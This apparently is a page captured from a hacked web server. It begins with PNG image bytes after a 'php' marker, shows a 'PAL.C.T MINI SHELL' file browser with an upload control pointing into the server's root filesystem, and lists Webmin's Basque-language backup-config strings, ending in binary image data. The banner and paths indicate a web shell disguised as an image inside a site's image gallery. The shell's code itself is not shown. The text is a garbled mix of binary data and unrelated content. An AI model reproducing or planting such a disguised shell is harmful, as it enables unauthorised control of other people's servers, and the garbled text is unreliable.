php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/backup-config/lang/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/backup-config/lang/eu.auto

index_title=Babeskopia-konfigurazio fitxategiak
index_emods=Ez duzu webmin modulurik zure sisteman konfigurazioaren babes kopiak onartzen.
index_dest=Backup helmuga
index_mods=Webmin moduluak
index_sched=Programatutako?
index_when=Bai, $1 
index_count=$1 moduluak
index_add=Gehitu aurreikusitako babes berria.
index_none=Oraindik ez dira programatutako segurtasun kopiak zehaztu.
index_header=Backup konfigurazioa orain
index_now=Backup Orain
index_return=programatutako segurtasun kopien zerrenda
index_return2=backup eta leheneratu inprimakiak
index_header2=Berrezarri konfigurazioa orain
index_now2=Leheneratu orain
index_apply=Aplikazioak konfiguratu?
index_test=Erakutsi besterik ez dago zer zaharberrituko den?
index_jobs=Egindako babeskopiak
index_nostrftime=Abisua: babes-lan batzuek % fitxategien izenean erabiltzen dute, baina lanaldi-ordezkapena ez da gaitu Moduloaren Konfigurazio orrian.
index_tabsched=Egindako segurtasun kopiak
index_tabbackup=Babeskopia orain
index_tabrestore=Berrezarri orain

edit_title1=Sortu Egindako Babeskopia
edit_title2=Editatu Egindako Babeskopia
edit_header=Aurreikusitako babes-aukerak
edit_header2=Aurreko eta bidalketa babesak egiteko komandoak
edit_header3=Backup egutegia
edit_email=Helbide elektronikoaren emaitza
edit_emode=Noiz bidali mezu elektronikoa
edit_emode0=beti
edit_emode1=Akats bat gertatzen denean bakarrik
edit_sched=Babeskopia programatua gaituta dago?
edit_schedyes=Bai, behean hautatutako uneetan ..
edit_mods=Babeskopiak egiteko moduluak
edit_dest=Backup helmuga
edit_mods2=Leheneratzeko moduluak
edit_other2=Leheneratu beharreko beste fitxategi batzuk
edit_dest2=Leheneratu
edit_what=Babeskopian sartu
edit_webmin=Webmin moduluaren konfigurazio fitxategiak
edit_nofiles=Zerbitzariaren konfigurazio fitxategiak
edit_run=Gorde eta babeskopia egin orain
edit_return=backup inprimakia
edit_other=Zerrendatutako beste fitxategi batzuk ..
edit_pre=Aurre-babeskopia komandoa
edit_post=Babeskopia osteko komandoa

save_err=Ezin izan da backup gordetzea
save_emods=Ez da modulurik hautatu
save_ewebmin=Ez ziren webminak ezta zerbitzariaren konfigurazio fitxategiak hautatu

backup_mode0=Tokiko fitxategia
backup_mode1=FTP zerbitzaria
backup_mode2=SSH zerbitzaria
backup_mode3=Kargatutako fitxategia
backup_mode4=Deskargatu arakatzailean
backup_path=fitxategia zerbitzarian
backup_login=Sartu erabiltzaile gisa
backup_pass=pasahitzarekin
backup_port=Zerbitzari portua
backup_epre=$1 moduluak babeskopia baztertu du : $2 
backup_enone=Ez da modulurik eman lehendik dauden fitxategirik babes kopiarako.
backup_etar=TAR huts egin du : $1 
backup_egunzip=Backup konprimituta dago, baina <tt>gunzip</tt> ez dago instalatuta
backup_euntar=Un-TAR huts egin da : $1 
backup_enone2=Hautatutako moduluen fitxategi bat ere ez dago segurtasun kopian
backup_epre2=$1 moduluak leheneratu egin du : $2 

backup_err=Babeskopiak huts egin du
backup_edest=Falta den tokiko fitxategi absolutua edo baliogabea
backup_eserver1=FTP zerbitzari falta edo baliogabea
backup_eserver2=Falta SSH zerbitzaria edo baliogabea
backup_epath=FTP zerbitzarian bide absolutua falta edo baliogabea da
backup_epath2=SSH zerbitzarian bide absolutua falta edo baliogabea da
backup_euser=Karaktere baliogabeak FTP zerbitzariaren saioan
backup_epass=Karaktere baliogabeak FTP zerbitzariaren pasahitzetan
backup_eport=FTP zerbitzariaren portu falta edo baliogabea
backup_esport=SSH zerbitzariaren portu falta edo baliogabea
backup_emods=Ez da modulurik hautatu
backup_title=Babeskopia-konfigurazioa
backup_doing=Moduluen konfigurazio fitxategien babeskopia abiarazten $1.
backup_failed=.. huts egin du! $1 
backup_done=.. osatu. Babes kopiaren azken tamaina $1 izan zen, $2 fitxategi zituen.

restore_err=Leheneratu da huts egin du
restore_emods=Ez da modulurik edo beste fitxategirik aukeratu
restore_title=Berrezarri konfigurazioa
restore_doing=Moduluen konfigurazio fitxategiak leheneratzen hasita $1.
restore_testing=Babeskopiaren edukia $1 etik ateratzea.
restore_failed=.. huts egin du! $1 
restore_done=.. osatu. $1 fitxategiak zaharberritu dira.
restore_done2=.. babesaren fitxategiak hauek dira :

nice_ftp=$2 $1 on FTP bidez
nice_ftpp=$2 $1 portuko $3 FTP bidez
nice_ssh=$2 an $1 SSH bidez
nice_sshp=$2 $1 portuan $3 SSH bidez
nice_upload=kargatutako fitxategia
nice_download=nabigatzaileak

log_backup=$1 moduluen $2 babeskopia egin da
log_restore=$1 moduluak leheneratu dira $2 tik
log_create_backup=$1 moduluen $2 babes kopia sortu da
log_modify_backup=$1 moduluen $2 babes kopia
log_delete_backup=$1 moduluen $2 babeskopia ezabatu da
log_run_backup=$1 moduluen $2 babes kopia exekutatua

run_title=Babeskopia-konfigurazioak
run_doing=$1 moduluen $2 babeskopia abiaraztea.
run_ok=.. babeskopia ondo osatu da.
run_failed=.. babeskopiak huts egin du! Ikusi goiko errore mezua zergatik dagoen.

email_mods=Moduluen segurtasun kopia :
email_failed=$1 era huts egin du :
email_ok=$1 (e) k arrakasta izan du.
email_sfailed=$1 konfigurazioaren segurtasun kopiak huts egin du
email_sok=$1 konfigurazioaren segurtasun kopiak huts egin du
email_final=Backup azken fitxategiaren tamaina $1 zen
email_pre=Aurrez babeskopia komandoa exekutatzen $1 ..
email_post=$1.. babesaren osteko komandoa exekutatzen.
email_prefailed=Aurrez babeskopia komandoak huts egin du!
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`